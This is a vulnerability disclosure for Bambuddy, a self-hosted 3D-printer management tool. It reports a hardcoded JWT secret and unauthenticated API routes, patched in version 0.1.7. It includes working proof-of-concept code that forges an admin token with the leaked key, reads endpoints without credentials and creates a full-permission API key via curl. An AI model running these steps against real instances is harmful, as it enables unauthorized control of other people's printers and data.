Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication
Summary
- A hardcoded secret key used for signing JWTs is checked into source code
- ManyAPI routes do not check authentication
Details
I am using the publicly available docker image at ghcr.io/maziggy/bambuddy
1. Hardcoded JWT Secret Key
Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key
Any attacker can:
- Forge valid JWT tokens for any user
- Bypass authentication entirely
- Gain full administrative access to any Bambuddy instance using the default key
Steps to Reproduce:
- Run an instance of BamBuddy
- Create admin user
- Forge and use JWT:
import jwt
import requests
token = jwt.encode({"sub": "admin", "exp": 9999999999}, "bambuddy-secret-key-change-in-production", algorithm="HS256")
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"})
print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...
2. Most API Routes do not check Auth
While investigating the JWT forgery, I noticed that requests without Authorization headers still returned information for many endpoints:
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={}) # Empty headers
print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...
Full Script and Output
Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.

While this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don't require many parameters, but other methods still appear vulnerable. I manually tested POST /api/v1/api-keys/ and was able to create a new API key with all permissions without auth:
curl 'http://10.0.0.4:8000/api/v1/api-keys/' -X POST -H 'Content-Type: application/json' --data-raw '{"name":"new key","can_queue":true,"can_control_printer":true,"can_read_status":true}'
yields
{"id":7,"name":"new key","key_prefix":"bb_QW2su...","can_queue":true,"can_control_printer":true,"can_read_status":true,"printer_ids":null,"enabled":true,"last_used":null,"created_at":"2026-02-01T23:14:15","expires_at":null,"key":"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w"}
Impact
BamBuddy is vulnerable to unauthorized access and control

Bambuddy is a self-hosted print archive and management system for Bambu Lab 3D printers. Prior to version 0.1.7, a hardcoded secret key used for signing JWTs is checked into source code and ManyAPI routes do not check authentication. This issue has been patched in version 0.1.7.
